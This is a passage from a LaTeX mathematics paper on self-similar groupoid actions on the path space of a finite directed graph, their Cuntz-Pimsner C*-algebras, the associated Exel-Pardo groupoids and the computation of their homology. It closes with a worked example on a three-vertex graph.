where $H_q(G)$ is regarded as a $\Gamma$-module via the action $\varphi$.
\end{thm}
Note that for $G$ an ample Hausdorff groupoid and $\rho:G\to\field{Z}$ a cocycle, we have the following long exact sequence
involving the homology of $G$ and the homology of $G\times_\rho\field{Z}$, \[0\longleftarrow H_0(G)\longleftarrow H_0(G\times_\rho\field{Z})\stackrel{id-\rho_*}{\longleftarrow}H_0(G\times_\rho\field{Z})\longleftarrow H_1(G)\longleftarrow\cdots\]
\[\cdots\longleftarrow H_n(G)\longleftarrow H_n(G\times_\rho\field{Z})\stackrel{id-\rho_*}{\longleftarrow}H_n(G\times_\rho\field{Z})\longleftarrow H_{n+1}(G)\longleftarrow\cdots\]
Here $\rho_*$ is the map induced by the action $\hat{\rho}: \field{Z}\curvearrowright G\times_{\rho}\field{Z}$, see Lemma 1.4 in \cite{O}.
\bigskip
\section{Self-similar groupoid actions and their $C^*$-algebra}
\bigskip
We recall some facts about self-similar groupoid actions and their Cuntz-Pimsner algebras from \cite{LRRW}.
Let $E = (E^0, E^1, r, s)$ be a finite directed graph with no sources. For $k \ge 2$, define the set of paths of length $k$ in $E$ as
\[E^k = \{e_1e_2\cdots e_k : e_i \in E^1,\; r(e_{i+1}) = s(e_i)\}.\]
The maps $r,s$ are naturally extended to $E^k$ by taking
\[r(e_1e_2\cdots e_k)=r(e_1),\;\; s(e_1e_2\cdots e_k)=s(e_k).\]
We denote by $E^* :=\bigcup_{ k\ge 0} E^k$ the space of finite paths (including vertices) and by $E^\infty$ the infinite path space of $E$ with the usual topology given by the cylinder sets $Z(\alpha)=\{\alpha\xi:\xi\in E^\infty\}$ for $\alpha\in E^*$.
We can visualize the set $E^*$ as indexing the vertices of a union of rooted trees or forest $T_E$ given by $T_E^0 =E^*$ and with edges \[T_E^1 =\{(\mu, \mu e) :\mu\in E^*, e\in E^1\; \text{and}\; s(\mu)=r(e)\}.\]
\begin{example}\label{ex}
For the graph
\[\begin{tikzpicture}[shorten >=0.4pt,>=stealth, semithick]
\renewcommand{\ss}{\scriptstyle}
\node[inner sep=1.0pt, circle, fill=black] (u) at (-2,0) {};
\node[below] at (u.south) {$\ss u$};
\node[inner sep=1.0pt, circle, fill=black] (v) at (0,0) {};
\node[below] at (v.south) {$\ss v$};
\node[inner sep=1.0pt, circle, fill=black] (w) at (2,0) {};
\node[below] at (w.south) {$\ss w$};
\draw[->, blue] (u) to [out=45, in=135] (v);
\node at (-1,0.7){$\ss e_2$};
\draw[->, blue] (v) to [out=-135, in=-45] (u);
\node at (-1,-0.7) {$\ss e_3$};
\draw[->, blue] (v) to [out=45, in=135] (w);
\node at (1,0.7){$\ss e_4$};
\draw[->, blue] (v) to (w);
\node at (1,0.1){$\ss e_5$};
\draw[->, blue] (w) to [out=-135, in=-45] (v);
\node at (1,-0.7) {$\ss e_6$};
\draw[->, blue] (u) .. controls (-3.5,1.5) and (-3.5, -1.5) .. (u);
\node at (-3.35,0) {$\ss e_1$};
\end{tikzpicture}
\]
the forest $T_E$ looks like
\[
\begin{tikzpicture}[shorten >=0.4pt,>=stealth, semithick]
\renewcommand{\ss}{\scriptstyle}
\node[inner sep=1.0pt, circle, fill=black] (u) at (-4,4) {};
\node[above] at (u.north) {$\ss u$};
\node[inner sep=1.0pt, circle, fill=black] (v) at (0,4) {};
\node[above] at (v.north) {$\ss v$};
\node[inner sep=1.0pt, circle, fill=black] (w) at (4,4) {};
\node[above] at (w.north) {$\ss w$};
\node[inner sep=1.0pt, circle, fill=black] (e1) at (-5,3){};
\node[left] at (-5,3) {$\ss e_1$};
\node[inner sep=1.0pt, circle, fill=black] (e3) at (-3,3){};
\node[right] at (-3,3) {$\ss e_3$};
\draw[->, blue] (e1) to (u);
\draw[-> , blue] (e3) to (u);
\node[inner sep=1.0pt, circle, fill=black] (e11) at (-5.4,2){};
\node[inner sep=1.0pt, circle, fill=black] (e13) at (-4.6,2){};
\node[below] at (-5.4,2) {$\ss e_1e_1$};
\node[below] at (-5.4,2) {$\vdots$};
\draw[-> , blue] (e11) to (e1);
\node[below] at (-4.6,2) {$\ss e_1e_3$};
\node[below] at (-4.6,2) {$\vdots$};
\draw[-> , blue] (e13) to (e1);
\node[inner sep=1.0pt, circle, fill=black] (e32) at (-3.4,2){};
\node[inner sep=1.0pt, circle, fill=black] (e36) at (-2.6,2){};
\node[below] at (-3.4,2) {$\ss e_3e_2$};
\node[below] at (-3.4,2) {$\vdots$};
\node[below] at (-2.6,2) {$\ss e_3e_6$};
\node[below] at (-2.6,2) {$\vdots$};
\draw[-> , blue] (e32) to (e3);
\draw[-> , blue] (e36) to (e3);
\node[inner sep=1.0pt, circle, fill=black] (e2) at (-1,3){};
\node[left] at (-1,3) {$\ss e_2$};
\node[inner sep=1.0pt, circle, fill=black] (e6) at (1,3){};
\node[right] at (1,3) {$\ss e_6$};
\draw[-> , blue] (e2) to (v);
\draw[-> , blue] (e6) to (v);
\node[inner sep=1.0pt, circle, fill=black] (e21) at (-1.4,2){};
\node[inner sep=1.0pt, circle, fill=black] (e23) at (-0.6,2){};
\draw[-> , blue] (e21) to (e2);
\draw[-> , blue] (e23) to (e2);
\node[inner sep=1.0pt, circle, fill=black] (e64) at (0.6,2){};
\node[inner sep=1.0pt, circle, fill=black] (e65) at (1.4,2){};
\draw[-> , blue] (e64) to (e6);
\draw[-> , blue] (e65) to (e6);
\node[below] at (-1.4,2) {$\ss e_2e_1$};
\node[below] at (-1.4,2) {$\vdots$};
\node[below] at (-0.6,2) {$\ss e_2e_3$};
\node[below] at (-0.6,2) {$\vdots$};
\node[below] at (0.6,2) {$\ss e_6e_4$};
\node[below] at (0.6,2) {$\vdots$};
\node[below] at (1.4,2) {$\ss e_6e_5$};
\node[below] at (1.4,2) {$\vdots$};
\node[inner sep=1.0pt, circle, fill=black] (e4) at (3,3){};
\node[left] at (3,3) {$\ss e_4$};
\node[inner sep=1.0pt, circle, fill=black] (e5) at (5,3){};
\node[right] at (5,3) {$\ss e_5$};
\draw[-> , blue] (e4) to (w);
\draw[-> , blue] (e5) to (w);
\node[inner sep=1.0pt, circle, fill=black] (e42) at (2.6,2){};
\node[inner sep=1.0pt, circle, fill=black] (e46) at (3.4,2){};
\draw[-> , blue] (e42) to (e4);
\draw[-> , blue] (e46) to (e4);
\node[inner sep=1.0pt, circle, fill=black] (e52) at (4.6,2){};
\node[inner sep=1.0pt, circle, fill=black] (e56) at (5.4,2){};
\draw[-> , blue] (e52) to (e5);
\draw[-> , blue] (e56) to (e5);
\node[below] at (2.6,2) {$\ss e_4e_2$};
\node[below] at (2.6,2) {$\vdots$};
\node[below] at (3.4,2) {$\ss e_4e_6$};
\node[below] at (3.4,2) {$\vdots$};
\node[below] at (4.6,2) {$\ss e_5e_2$};
\node[below] at (4.6,2) {$\vdots$};
\node[below] at (5.4,2) {$\ss e_5e_6$};
\node[below] at (5.4,2) {$\vdots$};
\end{tikzpicture}
\]
\end{example}
Recall that a partial isomorphism of the forest $T_E$ corresponding to a given directed graph $E$ consists of a pair $(v, w) \in E^0 \times E^0$ and a bijection $g : vE^* \to wE^*$ such that
\begin{itemize}
\item $g|_{vE^k} : vE^k \to wE^k$ is bijective for all $k\ge 1$.
\item $g(\mu e)\in g(\mu)E^1$ for $\mu\in vE^*$ and $e\in E^1$ with $r(e)=s(\mu)$.
\end{itemize}
The set of partial isomorphisms of $T_E$ forms a groupoid PIso$(T_E)$ with unit space $E^0$. The identity morphisms are $id_v : vE^* \to vE^*$, the inverse of $g : vE^* \to wE^*$ is $g^{-1} : wE^* \to vE^*$, and the multiplication is composition. We often identify $v\in E^0$ with $id_v\in$ PIso$(T_E)$.
\begin{dfn}\label{ss}
Let $E$ be a finite directed graph with no sources, and let $G$ be a groupoid with unit space $E^0$. A {\em self-similar action} $(G,E)$ on the path space of $E$ is given by a faithful groupoid homomorphism $G\to$ PIso$(T_E)$ such that for every $g\in G$ and every $e\in d(g)E^1$ there exists a unique $h\in G$ denoted by $g|_e$ and called the restriction of $g$ to $e$ such that
\[g\cdot(e\mu)=(g\cdot e)(h\cdot \mu)\;\;\text{for all}\;\; \mu\in s(e)E^*.\]
\end{dfn}
\begin{rmk}
It is possible that $g|_e=g$ for all $e\in d(g)E^1$, in which case \[g\cdot(e_1e_2\cdots e_n)=(g\cdot e_1)\cdots(g\cdot e_n).\]
We have \[d(g|_e)=s(e),\; t(g|_e)=s(g\cdot e)=g|_e\cdot s(e),\; r(g\cdot e)=g\cdot r(e).\] In particular, the source map may not be equivariant as in \cite{EP}. It is shown in Appendix A of \cite{LRRW} that a self-similar group action $(G,E)$ as in \cite{EP} determines a self-similar groupoid action $(E^0\rtimes G, E)$ as in Definition \ref{ss}, where $E^0\rtimes G$ is the semi-direct product or the action groupoid of the group $G$ acting on $E^0$. Note that not any self-similar groupoid action comes from a self-similar group action, as seen in our example below.
\end{rmk}
\begin{prop} A self-similar groupoid action $(G,E)$ as above extends to an action of $G$ on the path space $E^*$ and determines an action of $G$ on the graph $T_E$, in the sense that $G$ acts on both the vertex space $T_E^0$ and the edge space $T_E^1$ and intertwines the range and the source maps of $T_E$, see Definition 4.1 in \cite{De}.
\end{prop}
\begin{proof}
Indeed, the vertex space $T_E^0=E^*$ is fibered over $G^{(0)}=E^0$ via the map $\mu\mapsto r(\mu)$. For $(\mu, \mu e)\in T^1_E$ we set $s(\mu, \mu e)=\mu e$ and $r(\mu, \mu e)=\mu$. Since $r(\mu e)=r(\mu)$, the edge space $T^1_E$ is also fibered over $G^{(0)}$. The action of $G$ on $T^1_E$ is given by
\[g\cdot (\mu, \mu e)=(g\cdot \mu, g\cdot (\mu e))\;\;\text{when}\;\; d(g)=r(\mu).\]
Since
\[s(g\cdot(\mu, \mu e))=s(g\cdot \mu, g\cdot (\mu e))=g\cdot (\mu e)=g\cdot s(\mu, \mu e)\]
and
\[r(g\cdot(\mu, \mu e))=r(g\cdot \mu, g\cdot (\mu e))=g\cdot \mu =g\cdot r(\mu, \mu e),\]
the actions on $T_E^0$ and $T_E^1$ are compatible.
\end{proof}
The faithfulness condition ensures that for each $g \in G$ and each $\mu\in E^*$ with $d(g) = r(\mu)$, there is a unique element $g|_\mu\in G$ satisfying
\[g\cdot(\mu\nu)=(g\cdot\mu)(g|_\mu\cdot \nu)\;\text{ for all}\; \nu\in s(\mu)E^*.\]
By Proposition 3.6 of \cite{LRRW}, self-similar groupoid actions have the following properties: for $g, h \in G, \mu\in d(g)E^*$, and $\nu\in s(\mu)E^*$,
(1) $g|_{\mu\nu} = (g|_\mu)|_\nu$;
(2) $id_{r(\mu)}|_{\mu} = id_{s(\mu)}$;
(3) if $(h, g)\in G^{(2)}$, then $(h|_{g\cdot\mu},g|_\mu)\in G^{(2)}$
and $(hg)|_\mu = (h|_{g\cdot\mu})(g|_\mu)$;
(4) $g^{-1}|_\mu=(g|_{g^{-1}\cdot\mu})^{-1}$.
\begin{dfn}
The $C^*$-algebra $C^*(G,E)$ of a self-similar action $(G,E)$ is defined as the Cuntz-Pimsner algebra of the $C^*$-correspondence \[\mathcal{M}=\mathcal{M}(G,E)=\mathcal{X}(E)\otimes_{C(E^0)}C^*(G)\] over $C^*(G)$. Here $\mathcal{X}(E)=C(E^1)$ is the $C^*$-correspondence over $C(E^0)$ associated to the graph $E$ and $C(E^0)=C(G^{(0)})\subseteq C^*(G)$. The right action of $C^*(G)$ on $\mathcal{M}$ is the usual one and the left action is determined by the representation
\[W:G\to \mathcal{L}(\mathcal{M}), \;\; W_g(i_e\otimes a)=\begin{cases} i_{g\cdot e}\otimes i_{g|_e}a\;\;\text{if}\; d(g)=r(e)\\0\;\;\text{otherwise,}\end{cases}\]
where $g\in G, i_e\in C(E^1)$ and $i_g\in C_c(G)$ are point masses and $a\in C^*(G)$. The inner product of $\mathcal{M}$ is given by
\[\langle \xi\otimes a,\eta\otimes b\rangle=\langle\la\eta,\xi\rangle a,b\rangle=a^*\langle \xi,\eta\rangle b\]
for $\xi, \eta\in C(E^1)$ and $a,b\in C^*(G)$.
\end{dfn}
\begin{rmk}
Recall that the operations on $\mathcal{X}(E)$ are given by
\[(\xi\cdot a)(e)=\xi(e)a(s(e)), \;\langle \xi, \eta\rangle(v)=\sum_{s(e)=v}\overline{\xi(e)}\eta(e),\; (a\cdot \xi)(e)=a(r(e))\xi(e)\]
for $a\in C(E^0)$ and $ \xi, \eta\in C(E^1)$. The elements $i_e\otimes 1$ for $e\in E^1$ form a Parseval frame for $\mathcal{M}$ and every $\zeta\in \mathcal{M}$ is a finite sum \[\zeta=\sum_{e\in E^1}i_e\otimes\langle i_e\otimes 1,\zeta\rangle.\]
In particular, if $\mathcal{X}(E)^*$ denotes the dual $C^*$-correspondence, then
\[\mathcal{L}(\mathcal{M})=\mathcal{K}(\mathcal{M})\cong \mathcal{X}(E)\otimes_{C(E^0)}C^*(G)\otimes_{C(E^0)}\mathcal{X}(E)^*\cong M_n\otimes C^*(G),\] where $n=|E^1|$. The isomorphism is given by
\[i_{e_j}\otimes i_g\otimes i_{e_k}^*\mapsto e_{jk}\otimes i_g\] for $E^1=\{e_1,...,e_n\}$ and for matrix units $e_{jk}\in M_n$. There is a unital homomorphism $\mathcal{K}(\mathcal{X}(E))\to \mathcal{K}(\mathcal{M})$ given by \[i_e\otimes i_f^*\to i_e\otimes 1\otimes i_f^*.\]
Since our groupoids have finite unit space $E^0$, the orbit space for the canonical action of $G$ on $E^0$ is finite, and $C^*(G)$ is the direct sum of $C^*$-algebras of transitive groupoids. Each such transitive groupoid will be isomorphic to a groupoid of the form $V\times H\times V$ with the usual operations, for some subset $V\subseteq E^0$ and isotropy group $H$, hence its $C^*$-algebra will be isomorphic to $C^*(H)\otimes M_{|V|}$.
\end{rmk}
We recall the following result, see Propositions 4.4 and 4.7 in \cite{LRRW}.
\begin{thm}\label{gen}
If $U_g, P_v$ and $T_e$ are the images of $g\in G, v\in E^0=G^{(0)}$ and of $e\in E^1$ in the Cuntz-Pimsner algebra $C^*(G,E)$, then
\begin{itemize}
\item $g\mapsto U_g$ is a representation by partial isometries of $G$ with $U_v=P_v$ for $v\in E^0$;
\item $T_e$ are partial isometries with $T_e^*T_e=P_{s(e)}$ and $\displaystyle \sum_{r(e)=v}T_eT_e^*=P_v$;
\item $U_gT_e=\begin{cases}T_{g\cdot e}U_{g|_e}\;\mbox{if}\; d(g)=r(e)\\0,\;\mbox{otherwise}\end{cases}$ and $\;\; U_gP_v=\begin{cases}P_{g\cdot v}U_g\;\mbox{if}\; d(g)=v\\0,\;\mbox{otherwise.}\;\end{cases}$
\end{itemize}
There is a gauge action $\gamma$ of $\field{T}$ on $C^*(G,E)$ such that $\gamma_z(U_g)=U_g,$ and $\gamma_z(T_e)=zT_e$ for $z\in \field{T}$.
Given $\mu=e_1\cdots e_n\in E^*$ with $e_i\in E^1$, we let $T_\mu:=T_{e_1}\cdots T_{e_n}$. Then $C^*(G,E)$ is the closed linear span of elements $T_\mu U_gT_\nu^*$, where $\mu, \nu\in E^*$ and $g\in G_{s(\nu)}^{s(\mu)}$.
\end{thm}
For each $k\ge 1$, consider $\mathcal{F}_k$ the closed linear span of elements $T_\mu U_gT_\nu^*$ with $\mu,\nu\in E^k$ and $g\in G_{s(\nu)}^{s(\mu)}$. Then the fixed point algebra $\mathcal{F}(G,E):=C^*(G,E)^{\field{T}}$ under the gauge action is isomorphic to $\displaystyle \varinjlim \mathcal{F}_k$. We have \[\mathcal{F}_k\cong \mathcal{L}(\mathcal{M}^{\otimes k})\cong \mathcal{X}(E)^{\otimes k}\otimes_{C(E^0)}C^*(G)\otimes_{C(E^0)}\mathcal{X}(E)^{*\otimes k}\]
using the map $T_\mu U_gT_\nu^*\mapsto i_\mu\otimes i_g\otimes i_\nu^*$, where $i_\mu\in \mathcal{X}(E)^{\otimes k}=C(E^k)$ are point masses. The embeddings $\mathcal{F}_k\hookrightarrow \mathcal{F}_{k+1}$ are determined by the map \[\phi=\phi_W:C^*(G)\to \mathcal{L}(\mathcal{M}),\;\; \phi_W(i_g)=W_g.\] In particular, for $a\in C^*(G)$ we get
\[\phi(a)=\sum_{e\in E^1}\theta_{i_e\otimes 1, a^*(i_e\otimes 1)},\]
where $\theta_{\xi, \eta}(\zeta)=\xi\langle \eta, \zeta\rangle$.
The embeddings
$\mathcal{F}_k\hookrightarrow \mathcal{F}_{k+1}$ are then
\[\phi_k(i_{\mu}\otimes i_g\otimes i_\nu^*)=\begin{cases}\displaystyle \sum_{x\in d(g)E^1}i_{\mu y} \otimes i_{g|_x}\otimes i_{\nu x}^*,\;\text{if}\; g\in G_{s(\nu)}^{s(\mu)}\;\text{and}\; g\cdot x=y \\0,\;\text{ otherwise.}\end{cases}\]
\begin{rmk}
The $C^*$-algebra $C^*(G,E)$ can be described as the crossed product of $\mathcal{F}(G,E)$ by an endomorphism and in many cases, knowledge about $K_*(\mathcal{F}_k)$ is sufficient to determine $K_*(\mathcal{F}(G,E))$ and $K_*(C^*(G,E))$.
For the case when $G$ is a group, see section 3 in \cite{N1}.
In the particular case when $g|_e=g$ for all $g\in G$ and $e\in d(g)E^1$ we have $C^*(G,E)\cong C^*(E)\rtimes G$.
\end{rmk}
\bigskip
\section{Exel-Pardo groupoids for self-similar actions}
\bigskip
In this section, we generalize results from \cite{EP} and we define the groupoid associated to a self-similar action of a groupoid $G$ on the path space of a finite directed graph $E$ with no sources.
As in \cite{EP}, we first define the inverse semigroup
\[\mathcal{S}(G,E)=\{(\alpha, g, \beta): \alpha, \beta\in E^*, g\in G_{s(\beta)}^{s(\alpha)} \}\cup\{0\}\]
associated to the self-similar action $(G,E)$, with operations
\[(\alpha, g, \beta)(\lambda, h, \omega)=\begin{cases}(\alpha, g(h|_{h^{-1}\cdot\mu}), \omega(h^{-1}\cdot \mu))&\;\text{if}\; \beta=\lambda\mu\\(\alpha(g\cdot\mu), g|_{\mu}h, \omega)&\;\text{if}\; \lambda=\beta\mu\\0&\;\text{otherwise}\end{cases}\]
and $(\alpha, g, \beta)^*=(\beta, g^{-1}, \alpha)$ for $\alpha, \beta, \lambda, \omega\in E^*$. These operations make sense since
\[ d(g)=s(\beta)=t(h|_{h^{-1}\cdot\mu})\;\text{and}\; d(g(h|_{h^{-1}\cdot\mu}))=s(\omega(h^{-1}\cdot \mu)) \;\text{when}\; \beta=\lambda\mu,\]\[d(g|_\mu)=s(\mu)=t(h)\;\text{and}\; d(g|_{\mu}h)=s(\omega)\; \;\text{when}\;\lambda=\beta\mu .\]
Note that $(\alpha,g,\beta)(\beta, h, \omega)=(\alpha, gh,\omega)$ and the nonzero idempotents are of the form $z_\alpha=(\alpha, s(\alpha),\alpha)$.
The inverse semigroup $\mathcal{S}(G,E)$ acts on the infinite path space $E^\infty$ by partial homeomorphisms. The action of $(\alpha, g, \beta)\in \mathcal{S}(G,E)$ on $\xi=\beta\mu\in \beta E^\infty$ is given by \[(\alpha, g, \beta)\cdot \beta\mu=\alpha(g\cdot\mu)\in \alpha E^\infty.\] The action of $G$ on $E^\infty$ is defined by $g\cdot \mu=\eta$, where for all $n$ we have $\eta_1\cdots \eta_n=g\cdot(\mu_1\cdots\mu_n)$. Note that $r(g\cdot \mu)=g\cdot r(\mu)=g\cdot s(\beta)=s(\alpha)$, so the action is well defined.
The groupoid of germs associated with $(\mathcal{S}(G,E), E^\infty)$ is
\[\mathcal{G}(G,E)=\{[\alpha, g, \beta; \xi]: \alpha, \beta\in E^*,\; g\in G^{s(\alpha)}_{s(\beta)},\; \xi\in \beta E^\infty\}.\]
Two germs $[\alpha, g,\beta;\xi], [\alpha',g',\beta';\xi']$ in $\mathcal{G}(G,E)$ are equal if and only if $\xi=\xi'$ and there exists a neighborhood $V$ of $\xi$ such that $(\alpha, g, \beta)\cdot \eta=(\alpha', g', \beta')\cdot \eta$ for all $\eta\in V$.
We obtain that $\xi=\beta\lambda\zeta$ for $\lambda\in E^*$ and $\zeta\in E^\infty$, with $r(\lambda)=s(\beta)$ and $r(\zeta)=s(\lambda)$. Moreover, \[\alpha'=\alpha(g\cdot \lambda), \beta'=\beta\lambda,\;\mbox{and}\; g'=g|_\lambda.\]
The unit space of $\mathcal{G}(G,E)$ is
\[\mathcal{G}(G,E)^{(0)}=\{[\alpha, s(\alpha), \alpha; \xi]: \xi\in \alpha E^\infty\},\] identified with $E^\infty$ by the map $[\alpha, s(\alpha), \alpha; \xi]\mapsto \xi$.
The terminus and domain maps of the groupoid $\mathcal{G}(G,E)$ are given by
\[t([\alpha, g,\beta; \beta\mu])=\alpha(g\cdot\mu),\;\; d([\alpha, g, \beta;\beta\mu])=\beta\mu.\]
If two elements $\gamma_1,\gamma_2\in \mathcal{G}(G,E)$ are composable, then \[\gamma_1=[\alpha_1, g_1, \alpha_2; \alpha_2(g_2\cdot\xi)],\;\; \gamma_2=[\alpha_2, g_2, \beta; \beta\xi]\] for some $\alpha_1, \alpha_2, \beta\in E^*, \xi\in E^\infty, (g_1, g_2)\in G^{(2)}$ and in this case
\[\gamma_1\gamma_2=[\alpha_1, g_1g_2, \beta;\beta\xi].\]
In particular,
\[[\alpha, g,\beta;\beta\mu]^{-1}=[\beta, g^{-1}, \alpha;\alpha(g\cdot \mu)].\]
The topology on $\mathcal{G}(G,E)$ is generated by the compact open bisections of the form
\[B(\alpha, g, \beta; V)=\{[\alpha, g, \beta; \xi]\in \mathcal{G}(G,E): \xi=\beta\zeta\in V\},\]
where $\alpha, \beta\in E^*, g\in G_{s(\beta)}^{s(\alpha)}$ are fixed, and $V\subseteq Z(\beta)=\beta E^\infty$ is an open subset.
\begin{dfn}
A self-similar groupoid action $(G,E)$ is called pseudo free if for every $g\in G$ and every $e\in d(g)E^1$, the condition $g\cdot e=e$ and $g|_{e}=s(e)$ implies that $g=r(e)$.
\end{dfn}
\begin{rmk}
If $(G,E)$ is pseudo free, then $g_1\cdot \alpha=g_2\cdot \alpha$ and $g_1|_\alpha=g_2|_\alpha$ for some $\alpha\in E^*$ implies $g_1=g_2$.
\end{rmk}
\begin{proof}
Indeed, since $g_2^{-1}g_1\cdot\alpha=\alpha$ and $g_2^{-1}g_1|_\alpha=g_2^{-1}|_{g_1\cdot\alpha}g_1|_\alpha=d(g_1|_\alpha)=s(\alpha)$, it follows that $g_2^{-1}g_1=r(\alpha)$, so $g_1=g_2$.
\end{proof}
\begin{thm}
If the action of $G$ on $E$ is pseudo free, then the groupoid $\mathcal{G}(G,E)$ is Hausdorff and its $C^*$-algebra $C^*(\mathcal{G}(G,E))$
is isomorphic to the Cuntz-Pimsner algebra $C^*(G, E)$.
\end{thm}
\begin{proof}
Since $(G,E)$ is pseudo free, it follows that $[\alpha,g,\beta;\xi]=[\alpha, g',\beta;\xi]$ if and only if $g=g'$. Moreover, the groupoid $\mathcal{G}(G,E)$ is Hausdorff, see Proposition 12.1 in \cite{EP}. Using the properties given in Theorem \ref{gen} and the groupoid multiplication, the isomorphism $\phi: C^*(G,E)\to C^*(\mathcal{G}(G,E))$ is given by
\[\phi(P_v)=\chi_{B(v, v,v;Z(v))},\]\[ \phi(T_e)=\chi_{B(e, s(e),s(e);Z(s(e)))},\]\[\phi(U_g)=\chi_{B(t(g),g,d(g);Z(d(g)))}\]
for $v\in E^0, e\in E^1$ and $g\in G$. Here $\chi_A$ is the indicator function of $A$.
\end{proof}
Recall that ample Hausdorff groupoids which are similar or Morita equivalent have isomorphic homology, see Lemma 4.3 and Theorem 3.12 in \cite{FKPS}. The general strategy of computing the homology of the ample groupoid $\mathcal{G}(G,E)$ is the following.
There is a cocycle $\rho: \mathcal{G}(G,E)\to \field{Z}$ given by $[\alpha, g, \beta; \xi]\mapsto |\alpha|-|\beta|$ with kernel
\[\mathcal{H}(G,E)=\{[\alpha, g, \beta; \xi]\in \mathcal{G}(G,E) :|\alpha|=|\beta|\}.\]
It follows from Theorem \ref{seq} that we have a spectral sequence
\[E_{p,q}^2=H_p(\field{Z},H_q(\mathcal{H}(G,E)))\Rightarrow H_{p+q}(\mathcal{G}(G,E)).\]
Now $\mathcal{H}(G,E)=\bigcup_{k\ge 1} \mathcal{H}_k(G,E)$ where
\[\mathcal{H}_k(G,E)=\{[\alpha, g, \beta; \xi]\in \mathcal{G}(G,E) :|\alpha|=|\beta|=k\}.\]
There are groupoid homomorphisms \[\tau_k:\mathcal{H}_k(G,E)\to G,\; \tau_k([\alpha,g,\beta;\xi])=g\] and $\ker\tau_k$ is AF for all $k\ge 1$. Indeed, consider $R_k$ the equivalence relation on $E^k$ such that $(\alpha, \beta)\in R_k$ if there is $g\in G$ with $g\cdot s(\beta)=s(\alpha)$. Then the map $[\alpha, g, \beta;\xi]\mapsto ((\xi, g),(\alpha, \beta))$ gives an isomorphism between $\mathcal{H}_k(G,E)$ and $(E^\infty\rtimes G)\times R_k$, so $\ker\tau_k$ is isomorphic to $E^\infty\times R_k$.
It follows that we have another spectral sequence
\[E_{p,q}^2=H_p(G,H_q(\ker\tau_k))\Rightarrow H_{p+q}(\mathcal{H}_k(G,E)).\]
It is known that $H_0(\ker\tau_k)\cong K_0(C^*(\ker \tau_k))$ and $H_q(\ker\tau_k)=0$ for $k\ge 1$. Also, $\ker\tau_k$ is similar with $\mathcal{H}_k(G,E)\times_{\tau_k}G$.
Assuming that we computed $H_q(\mathcal{H}_k(G,E))$ for all $k$, then
\[H_q(\mathcal{H}(G,E))=\varinjlim_{k\to \infty}H_q(\mathcal{H}_k(G,E))\]
can be computed using the inclusion maps \[j_k:\mathcal{H}_k(G,E)\hookrightarrow \mathcal{H}_{k+1}(G,E),\;\; j_k([\alpha, g, \beta; \beta x\mu])=[\alpha y, g|_x,\beta x; \beta x\mu],\] where $x\in E^1$ and $g\cdot x=y$.
\bigskip
\section{example}
\bigskip
Consider again the graph from Example \ref{ex}
\[\begin{tikzpicture}[shorten >=0.4pt,>=stealth, semithick]
\renewcommand{\ss}{\scriptstyle}
\node[inner sep=1.0pt, circle, fill=black] (u) at (-2,0) {};
\node[below] at (u.south) {$\ss u$};
\node[inner sep=1.0pt, circle, fill=black] (v) at (0,0) {};
\node[below] at (v.south) {$\ss v$};
\node[inner sep=1.0pt, circle, fill=black] (w) at (2,0) {};
\node[below] at (w.south) {$\ss w$};
\draw[->, blue] (u) to [out=45, in=135] (v);
\node at (-1,0.7){$\ss e_2$};
\draw[->, blue] (v) to [out=-135, in=-45] (u);
\node at (-1,-0.7) {$\ss e_3$};
\draw[->, blue] (v) to [out=45, in=135] (w);
\node at (1,0.7){$\ss e_4$};
\draw[->, blue] (v) to (w);
\node at (1,0.1){$\ss e_5$};
\draw[->, blue] (w) to [out=-135, in=-45] (v);
\node at (1,-0.7) {$\ss e_6$};
\draw[->, blue] (u) .. controls (-3.5,1.5) and (-3.5, -1.5) .. (u);
\node at (-3.35,0) {$\ss e_1$};
\end{tikzpicture}
\]
with $E^0=\{u,v,w\}$ and $ E^1=\{e_1, e_2, e_3, e_4, e_5, e_6\}$.
Consider the groupoid $G$ with unit space $G^{(0)}=\{u,v,w\}$ and generators $a,b,c$ where $d(a)=u, t(a)=d(b)=v, d(c)=t(b)=w$.
\[\begin{tikzpicture}[shorten >=0.4pt,>=stealth, semithick]
\renewcommand{\ss}{\scriptstyle}
\node[inner sep=1.0pt, circle, fill=black] (u) at (-2,0) {};
\node[below] at (u.south) {$\ss u$};
\node[inner sep=1.0pt, circle, fill=black] (v) at (0,0) {};
\node[below] at (v.south) {$\ss v$};
\node[inner sep=1.0pt, circle, fill=black] (w) at (2,0) {};
\node[below] at (w.south) {$\ss w$};
\draw[->, red] (u) to (v);
\node at (-1,0.25) {$\ss a$};
\draw[->, red] (v) to [out=45, in=135] (w);
\node at (1,0.7){$\ss b$};
\draw[->, red] (w) to [out=-135, in=-45] (v);
\node at (1,-0.7) {$\ss c$};
\end{tikzpicture}
\]
We define the action of $G$ by
\[a\cdot e_1=e_2,\;\; a|_{e_1}=u,\;\; a\cdot e_3=e_6,\;\; a|_{e_3}=b,\]
\[b\cdot e_2=e_5,\;\; b|_{e_2}=a, \;\; b\cdot e_6=e_4, \;\; b|_{e_6}=c,\]
\[c\cdot e_4=e_2,\;\; c|_{e_4}=a^{-1},\;\; c\cdot e_5=e_6,\;\; c|_{e_5}=b.\]
The actions of $a^{-1}, b^{-1}, c^{-1}$ and their restrictions are then uniquely determined:
\[a^{-1}\cdot e_2=e_1,\;\; a^{-1}|_{e_2}=u,\;\; a^{-1}\cdot e_6=e_3,\;\; a^{-1}|_{e_6}=b^{-1},\]
\[b^{-1}\cdot e_5=e_2,\;\;b^{-1}|_{e_5}=a^{-1},\;\; b^{-1}\cdot e_4=e_6,\;\; b^{-1}|_{e_4}=c^{-1},\]
\[c^{-1}\cdot e_2=e_4,\;\; c^{-1}|_{e_2}=a,\;\; c^{-1}\cdot e_6=e_5,\;\;c^{-1}|_{e_6}=b^{-1}.\]
The actions of the units $u,v,w$ and their restrictions are
\[u\cdot e_1=e_1,\; u|_{e_1}=u, \; u\cdot e_3=e_3, \; u|_{e_3}=v, \; v\cdot e_2=e_2, \; v|_{e_2}=u,\]
\[ v\cdot e_6=e_6, \; v|_{e_6}=w,\; w\cdot e_4=e_4, \; w|_{e_4}=v,\; w\cdot e_5=e_5, \; w|_{e_5}=v.\]
This data determine a pseudo free self-similar action of $G$ on the path space of $E$. We can characterize the action by the formulas
\[a\cdot e_1\mu=e_2\mu, \; \; a\cdot e_3\mu =e_6(b\cdot\mu),\; \; b\cdot(e_2\mu)=e_5(a\cdot\mu), \]\[ b\cdot e_6\mu=e_4(c\cdot\mu),\;\; c\cdot e_4\mu=e_2(a^{-1}\cdot\mu), \;\; c\cdot e_5\mu=e_6(b\cdot\mu)\]
where $\mu\in E^*$, and these determine uniquely an action of $G$ on $E^*$ and on the graph $T_E$.
